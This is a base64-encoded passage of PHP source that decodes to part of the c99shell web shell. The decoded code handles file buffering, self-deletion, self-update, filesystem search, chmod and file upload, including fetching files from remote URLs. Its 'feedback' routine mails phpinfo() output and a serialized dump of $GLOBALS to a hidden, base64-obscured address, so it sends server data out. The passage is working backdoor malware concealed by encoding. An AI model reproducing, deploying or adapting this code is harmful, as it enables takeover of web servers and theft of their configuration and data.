Ow0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAiZnNidWZmIikNCiAgICB7DQogICAgICAgICRhcnJf
Y29weSA9ICRzZXNzX2RhdGFbImNvcHkiXTsNCiAgICAgICAgJGFycl9jdXQgPSAkc2Vzc19kYXRh
WyJjdXQiXTsNCiAgICAgICAgJGFyciA9IGFycmF5X21lcmdlKCRhcnJfY29weSwgJGFycl9jdXQp
Ow0KICAgICAgICBpZiAoY291bnQoJGFycikgPT0gMCkNCiAgICAgICAgew0KICAgICAgICAgICAg
ZWNobyAiPGNlbnRlcj48Yj5CdWZmZXIgaXMgZW1wdHkhPC9iPjwvY2VudGVyPiI7DQogICAgICAg
IH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj5GaWxlLVN5
c3RlbSBidWZmZXI8L2I+PGJyPjxicj4iOw0KICAgICAgICAgICAgJGxzX2FyciA9ICRhcnI7DQog
ICAgICAgICAgICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAgICAgICAgICAkYWN0ID0gImxz
IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAic2VsZnJlbW92ZSIpDQogICAg
ew0KICAgICAgICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikp
DQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICh1bmxpbmsoX19GSUxFX18pKQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICAgIGVjaG8g
IlRoYW5rcyBmb3IgdXNpbmcgYzk5c2hlbGwgdi4iIC4gJHNodmVyIC4gIiEiOw0KICAgICAgICAg
ICAgICAgIGM5OXNoZXhpdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRl
ICIgLiBfX0ZJTEVfXyAuICIhPC9iPjwvY2VudGVyPiI7DQogICAgICAgICAgICB9DQogICAgICAg
IH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRybmRj
b2RlKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5FcnJvcjogaW5j
b3JyZWN0IGNvbmZpbWF0aW9uITwvYj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHJu
ZCA9IHJhbmQoMCwgOSkgLiByYW5kKDAsIDkpIC4gcmFuZCgwLCA5KTsNCiAgICAgICAgICAgIGVj
aG8gIjxmb3JtIGFjdGlvbj1cIiIgLiAkc3VybCAuICJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT1hY3QgdmFsdWU9c2VsZnJlbW92ZT48Yj5TZWxmLXJlbW92ZTogIiAuIF9fRklMRV9fIC4gIiA8
YnI+PGI+QXJlIHlvdSBzdXJlPzxicj5Gb3IgY29uZmlybWF0aW9uLCBlbnRlciBcIiIgLiAkcm5k
IC4gIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwi
IiAuICRybmQgLiAiXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQg
dHlwZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zvcm0+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAg
ICBpZiAoJGFjdCA9PSAidXBkYXRlIikNCiAgICB7DQogICAgICAgICRyZXQgPSBjOTlzaF9nZXR1
cGRhdGUoISEkY29uZmlybXVwZGF0ZSk7DQogICAgICAgIGVjaG8gIjxiPiIgLiAkcmV0IC4gIjwv
Yj4iOw0KICAgICAgICBpZiAoc3RyaXN0cigkcmV0LCAibmV3IHZlcnNpb24iKSkNCiAgICAgICAg
ew0KICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1c
ImxvY2F0aW9uLmhyZWY9JyIgLiAkc3VybCAuICJhY3Q9dXBkYXRlJmNvbmZpcm11cGRhdGU9MSc7
XCIgdmFsdWU9XCJVcGRhdGUgbm93XCI+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFj
dCA9PSAiZmVlZGJhY2siKQ0KICAgIHsNCiAgICAgICAgJHN1cHBtYWlsID0gYmFzZTY0X2RlY29k
ZSgiYzJWamRYSmxhR0Z6YUhCb2FXeHBjSEJwYm1WelFHZHRZV2xzTG1OdmJRPT0iKTsNCiAgICAg
ICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRpY2tldCA9
IHN1YnN0cihtZDUobWljcm90aW1lKCkgKyByYW5kKDEsIDEwMDApKSAsIDAsIDYpOw0KICAgICAg
ICAgICAgJGJvZHkgPSAiYzk5c2hlbGwgdi4iIC4gJHNodmVyIC4gIiBmZWVkYmFjayAjIiAuICR0
aWNrZXQgLiAiXG5OYW1lOiAiIC4gaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKSAuICJcbkUt
bWFpbDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpIC4gIlxuTWVzc2FnZTpcbiIg
LiBodG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpIC4gIlxuXG5JUDogIiAuICRSRU1PVEVfQURE
UjsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGZkYmtfcmVmKSkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAkdG1wID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICAgICAgICAg
IG9iX2NsZWFuKCk7DQogICAgICAgICAgICAgICAgcGhwaW5mbygpOw0KICAgICAgICAgICAgICAg
ICRwaHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7DQogICAgICAgICAg
ICAgICAgb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICBlY2hvICR0bXA7DQogICAgICAgICAg
ICAgICAgJGJvZHkgLj0gIlxuIiAuICJwaHBpbmZvKCk6ICIgLiAkcGhwaW5mbyAuICJcbiIgLiAi
XCRHTE9CQUxTPSIgLiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpIC4gIlxuIjsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIG1haWwoJHN1cHBtYWlsLCAiYzk5c2hlbGwgdi4i
IC4gJHNodmVyIC4gIiBmZWVkYmFjayAjIiAuICR0aWNrZXQsICRib2R5LCAiRlJPTTogIiAuICRz
dXBwbWFpbCk7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlRoYW5rcyBmb3IgeW91ciBm
ZWVkYmFjayEgWW91ciB0aWNrZXQgSUQ6ICIgLiAkdGlja2V0IC4gIi48L2I+PC9jZW50ZXI+IjsN
CiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxm
b3JtIGFjdGlvbj1cIiIgLiAkc3VybCAuICJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+PGI+RmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIiAu
IHN0cl9yZXBsYWNlKGFycmF5KA0KICAgICAgICAgICAgICAgICJAIiwNCiAgICAgICAgICAgICAg
ICAiLiINCiAgICAgICAgICAgICkgLCBhcnJheSgNCiAgICAgICAgICAgICAgICAiW2F0XSIsDQog
ICAgICAgICAgICAgICAgIltkb3RdIg0KICAgICAgICAgICAgKSAsICRzdXBwbWFpbCkgLiAiKTo8
YnI+PGJyPllvdXIgbmFtZTogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwi
IHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkgLiAiXCI+PGJyPjxicj5Z
b3VyIGUtbWFpbDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfZW1haWxcIiB2YWx1
ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKSAuICJcIj48YnI+PGJyPk1lc3Nh
Z2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIgLiBo
dG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpIC4gIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9XCJo
aWRkZW5cIiBuYW1lPVwiZmRia19yZWZcIiB2YWx1ZT1cIiIgLiB1cmxlbmNvZGUoJEhUVFBfUkVG
RVJFUikgLiAiXCI+PGJyPjxicj5BdHRhY2ggc2VydmVyLWluZm8gKiA8aW5wdXQgdHlwZT1cImNo
ZWNrYm94XCIgbmFtZT1cImZkYmtfc2VydmluZlwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxi
cj5UaGVyZSBhcmUgbm8gY2hlY2tpbmcgaW4gdGhlIGZvcm0uPGJyPjxicj4qIC0gc3Ryb25nbHkg
cmVjb21tZW5kZWQsIGlmIHlvdSByZXBvcnQgYnVnLCBiZWNhdXNlIHdlIG5lZWQgaXQgZm9yIGJ1
Zy1maXguPGJyPjxicj5XZSB1bmRlcnN0YW5kIGxhbmd1YWdlczogRW5nbGlzaCwgUnVzc2lhbi48
YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2Vu
ZFwiPjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgkYWN0ID09ICJzZWFyY2gi
KQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGI+U2VhcmNoIGluIGZpbGUtc3lzdGVtOjwvYj48YnI+
IjsNCiAgICAgICAgaWYgKGVtcHR5KCRzZWFyY2hfaW4pKQ0KICAgICAgICB7DQogICAgICAgICAg
ICAkc2VhcmNoX2luID0gJGQ7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGVtcHR5KCRzZWFyY2hf
bmFtZSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzZWFyY2hfbmFtZSA9ICIoLiopIjsNCiAg
ICAgICAgICAgICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxOw0KICAgICAgICB9DQogICAgICAgIGlm
IChlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHNlYXJj
aF90ZXh0X3JlZ2V4cCA9IDA7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkc3VibWl0
KSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGZvdW5kID0gYXJyYXkoKTsNCiAgICAgICAgICAg
ICRmb3VuZF9kID0gMDsNCiAgICAgICAgICAgICRmb3VuZF9mID0gMDsNCiAgICAgICAgICAgICRz
ZWFyY2hfaV9mID0gMDsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kID0gMDsNCiAgICAgICAgICAg
ICRhID0gYXJyYXkoDQogICAgICAgICAgICAgICAgIm5hbWUiID0+ICRzZWFyY2hfbmFtZSwNCiAg
ICAgICAgICAgICAgICAibmFtZV9yZWdleHAiID0+ICRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAg
ICAgICAgICAgICAgInRleHQiID0+ICRzZWFyY2hfdGV4dCwNCiAgICAgICAgICAgICAgICAidGV4
dF9yZWdleHAiID0+ICRzZWFyY2hfdGV4dF9yZWd4cCwNCiAgICAgICAgICAgICAgICAidGV4dF93
d28iID0+ICRzZWFyY2hfdGV4dF93d28sDQogICAgICAgICAgICAgICAgInRleHRfY3MiID0+ICRz
ZWFyY2hfdGV4dF9jcywNCiAgICAgICAgICAgICAgICAidGV4dF9ub3QiID0+ICRzZWFyY2hfdGV4
dF9ub3QNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkc2VhcmNodGltZSA9IGdldG1pY3Jv
dGltZSgpOw0KICAgICAgICAgICAgJGluID0gYXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCAkc2Vh
cmNoX2luKSk7DQogICAgICAgICAgICBmb3JlYWNoICgkaW4gYXMgJHYpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgYzk5ZnNlYXJjaCgkdik7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpIC0gJHNlYXJjaHRpbWUsIDQp
Ow0KICAgICAgICAgICAgaWYgKGNvdW50KCRmb3VuZCkgPT0gMCkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICBlY2hvICI8Yj5ObyBmaWxlcyBmb3VuZCE8L2I+IjsNCiAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkbHNf
YXJyID0gJGZvdW5kOw0KICAgICAgICAgICAgICAgICRkaXNwX2Z1bGxwYXRoID0gdHJ1ZTsNCiAg
ICAgICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
ICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwi
ZFwiIHZhbHVlPVwiIiAuICRkaXNwZCAuICJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Qg
dmFsdWU9XCIiIC4gJGRzcGFjdCAuICJcIj4NCjxiPlNlYXJjaCBmb3IgKGZpbGUvZm9sZGVyIG5h
bWUpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1c
IiIgLiByb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSArIDI1KSAuICJcIiB2YWx1ZT1cIiIgLiBo
dG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkgLiAiXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJj
aGVja2JveFwiIG5hbWU9XCJzZWFyY2hfbmFtZV9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiIC4gKCRz
ZWFyY2hfbmFtZV9yZWdleHAgPT0gMSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiAtIHJlZ2V4cA0K
PGJyPjxiPlNlYXJjaCBpbiAoZXhwbG9kZSBcIjtcIik6IDwvYj48aW5wdXQgdHlwZT1cInRleHRc
IiBuYW1lPVwic2VhcmNoX2luXCIgc2l6ZT1cIiIgLiByb3VuZChzdHJsZW4oJHNlYXJjaF9pbikg
KyAyNSkgLiAiXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKSAuICJc
Ij4NCjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRc
IiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF90
ZXh0KSAuICI8L3RleHRhcmVhPg0KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFt
ZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIgLiAoJHNlYXJjaF90ZXh0X3Jl
Z2V4cCA9PSAxID8gIiBjaGVja2VkIiA6ICIiKSAuICI+IC0gcmVnZXhwDQombmJzcDsmbmJzcDs8
aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwi
MVwiICIgLiAoJHNlYXJjaF90ZXh0X3d3byA9PSAxID8gIiBjaGVja2VkIiA6ICIiKSAuICI+IC0g
PHU+dzwvdT5ob2xlIHdvcmRzIG9ubHkNCiZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2ti
b3hcIiBuYW1lPVwic2VhcmNoX3RleHRfY3NcIiB2YWx1ZT1cIjFcIiAiIC4gKCRzZWFyY2hfdGV4
dF9jcyA9PSAxID8gIiBjaGVja2VkIiA6ICIiKSAuICI+IC0gY2FzPHU+ZTwvdT4gc2Vuc2l0aXZl
DQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0
X25vdFwiIHZhbHVlPVwiMVwiICIgLiAoJHNlYXJjaF90ZXh0X25vdCA9PSAxID8gIiBjaGVja2Vk
IiA6ICIiKSAuICI+IC0gZmluZCBmaWxlcyA8dT5OT1Q8L3U+IGNvbnRhaW5pbmcgdGhlIHRleHQN
Cjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+
PC9mb3JtPiI7DQogICAgICAgIGlmICgkYWN0ID09ICJscyIpDQogICAgICAgIHsNCiAgICAgICAg
ICAgICRkc3BhY3QgPSAkYWN0Ow0KICAgICAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9z
aGFkZT48Yj5TZWFyY2ggdG9vayAiIC4gJHNlYXJjaHRpbWUgLiAiIHNlY3MgKCIgLiAkc2VhcmNo
X2lfZiAuICIgZmlsZXMgYW5kICIgLiAkc2VhcmNoX2lfZCAuICIgZm9sZGVycywgIiAuIHJvdW5k
KCgkc2VhcmNoX2lfZiArICRzZWFyY2hfaV9kKSAvICRzZWFyY2h0aW1lLCA0KSAuICIgb2JqZWN0
cyBwZXIgc2Vjb25kKS48L2I+PGJyPjxicj4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgk
YWN0ID09ICJjaG1vZCIpDQogICAgew0KICAgICAgICAkbW9kZSA9IGZpbGVwZXJtcygkZCAuICRm
KTsNCiAgICAgICAgaWYgKCEkbW9kZSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+
Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUu
IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRmb3Jt
ID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmICgkY2htb2Rfc3VibWl0KQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICRvY3RldCA9ICIwIiAuIGJhc2VfY29udmVydCgoJGNobW9kX29bInIi
XSA/IDEgOiAwKSAuICgkY2htb2Rfb1sidyJdID8gMSA6IDApIC4gKCRjaG1vZF9vWyJ4Il0gPyAx
IDogMCkgLiAoJGNobW9kX2dbInIiXSA/IDEgOiAwKSAuICgkY2htb2RfZ1sidyJdID8gMSA6IDAp
IC4gKCRjaG1vZF9nWyJ4Il0gPyAxIDogMCkgLiAoJGNobW9kX3dbInIiXSA/IDEgOiAwKSAuICgk
Y2htb2Rfd1sidyJdID8gMSA6IDApIC4gKCRjaG1vZF93WyJ4Il0gPyAxIDogMCkgLCAyLCA4KTsN
CiAgICAgICAgICAgICAgICBpZiAoY2htb2QoJGQgLiAkZiwgJG9jdGV0KSkNCiAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICRhY3QgPSAibHMiOw0KICAgICAgICAgICAgICAg
ICAgICAkZm9ybSA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAkZXJyID0gIiI7DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIiAuICRvY3RldCAuICIu
IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGZv
cm0pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHBlcm1zID0gcGFyc2VfcGVybXMo
JG1vZGUpOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIiAu
ICRkIC4gJGYgLiAiKSwgIiAuIHZpZXdfcGVybXNfY29sb3IoJGQgLiAkZikgLiAiICgiIC4gc3Vi
c3RyKGRlY29jdChmaWxlcGVybXMoJGQgLiAkZikpICwgLTQsIDQpIC4gIik8L2I+PGJyPiIgLiAo
JGVyciA/ICI8Yj5FcnJvcjo8L2I+ICIgLiAkZXJyIDogIiIpIC4gIjxmb3JtIGFjdGlvbj1cIiIg
LiAkc3VybCAuICJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVl
PVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGQpIC4gIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWYgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkZikgLiAiXCI+PGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3Jk
ZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+
PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIiAuICgkcGVy
bXNbIm8iXVsiciJdID8gIiBjaGVja2VkIiA6ICIiKSAuICI+Jm5ic3A7UmVhZDxicj48aW5wdXQg
dHlwZT1jaGVja2JveCBuYW1lPWNobW9kX29bd10gdmFsdWU9MSIgLiAoJHBlcm1zWyJvIl1bInci
XSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIiAuICgkcGVybXNbIm8iXVsieCJdID8gIiBjaGVj
a2VkIiA6ICIiKSAuICI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0
IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiIC4gKCRwZXJtc1siZyJdWyJy
Il0gPyAiIGNoZWNrZWQiIDogIiIpIC4gIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IE5BTUU9Y2htb2RfZ1t3XSB2YWx1ZT0xIiAuICgkcGVybXNbImciXVsidyJdID8gIiBjaGVj
a2VkIiA6ICIiKSAuICI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1j
aG1vZF9nW3hdIHZhbHVlPTEiIC4gKCRwZXJtc1siZyJdWyJ4Il0gPyAiIGNoZWNrZWQiIDogIiIp
IC4gIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5
cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiIC4gKCRwZXJtc1sidyJdWyJyIl0g
PyAiIGNoZWNrZWQiIDogIiIpIC4gIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94
IE5BTUU9Y2htb2Rfd1t3XSB2YWx1ZT0xIiAuICgkcGVybXNbInciXVsidyJdID8gIiBjaGVja2Vk
IiA6ICIiKSAuICI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1v
ZF93W3hdIHZhbHVlPTEiIC4gKCRwZXJtc1sidyJdWyJ4Il0gPyAiIGNoZWNrZWQiIDogIiIpIC4g
Ij5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1l
PWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsN
CiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAidXBsb2Fk
IikNCiAgICB7DQogICAgICAgICR1cGxvYWRtZXNzID0gIiI7DQogICAgICAgICR1cGxvYWRwYXRo
ID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHVwbG9hZHBhdGgpOw0K
ICAgICAgICBpZiAoZW1wdHkoJHVwbG9hZHBhdGgpKQ0KICAgICAgICB7DQogICAgICAgICAgICAk
dXBsb2FkcGF0aCA9ICRkOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoc3Vic3RyKCR1cGxv
YWRwYXRoLCAtMSkgIT0gIi8iKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdXBsb2FkcGF0aCAu
PSAiLyI7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgICAgICAg
ew0KICAgICAgICAgICAgZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7DQogICAgICAgICAgICAkdXBs
b2FkZmlsZSA9ICRIVFRQX1BPU1RfRklMRVNbInVwbG9hZGZpbGUiXTsNCiAgICAgICAgICAgIGlm
ICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKQ0KICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKQ0KICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgJGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmls
ZVsidG1wX25hbWUiXSwgJHVwbG9hZHBhdGggLiAkZGVzdGluKSkNCiAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmls
ZSAiIC4gJHVwbG9hZGZpbGVbIm5hbWUiXSAuICIgKGNhbid0IGNvcHkgXCIiIC4gJHVwbG9hZGZp
bGVbInRtcF9uYW1lIl0gLiAiXCIgdG8gXCIiIC4gJHVwbG9hZHBhdGggLiAkZGVzdGluIC4gIlwi
ITxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVs
c2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IGlmICghZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICRkZXN0aW4gPSAkdXBsb2FkZmlsZW5hbWU7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICRkZXN0aW4gPSBleHBsb2RlKCIvIiwgJGRlc3Rpbik7DQogICAgICAgICAgICAgICAg
ICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pIC0gMV07DQogICAgICAgICAgICAg
ICAgICAgIGlmIChlbXB0eSgkZGVzdGluKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSAi
IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChmaWxlX2V4aXN0cygkdXBsb2FkcGF0
aCAuICRkZXN0aW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGlmICgkaSA+IDApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYiA9ICJfIiAuICRpOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGVzdGlu
ID0gImluZGV4IiAuICRiIC4gIi5odG1sIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAk
aSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgoIXByZWdfbWF0Y2goImh0dHA6
Ly8iLCAkdXBsb2FkdXJsKSkgYW5kICghcHJlZ19tYXRjaCgiaHR0cHM6Ly8iLCAkdXBsb2FkdXJs
KSkgYW5kICghcHJlZ19tYXRjaCgiZnRwOi8vIiwgJHVwbG9hZHVybCkpKQ0KICAgICAgICAgICAg
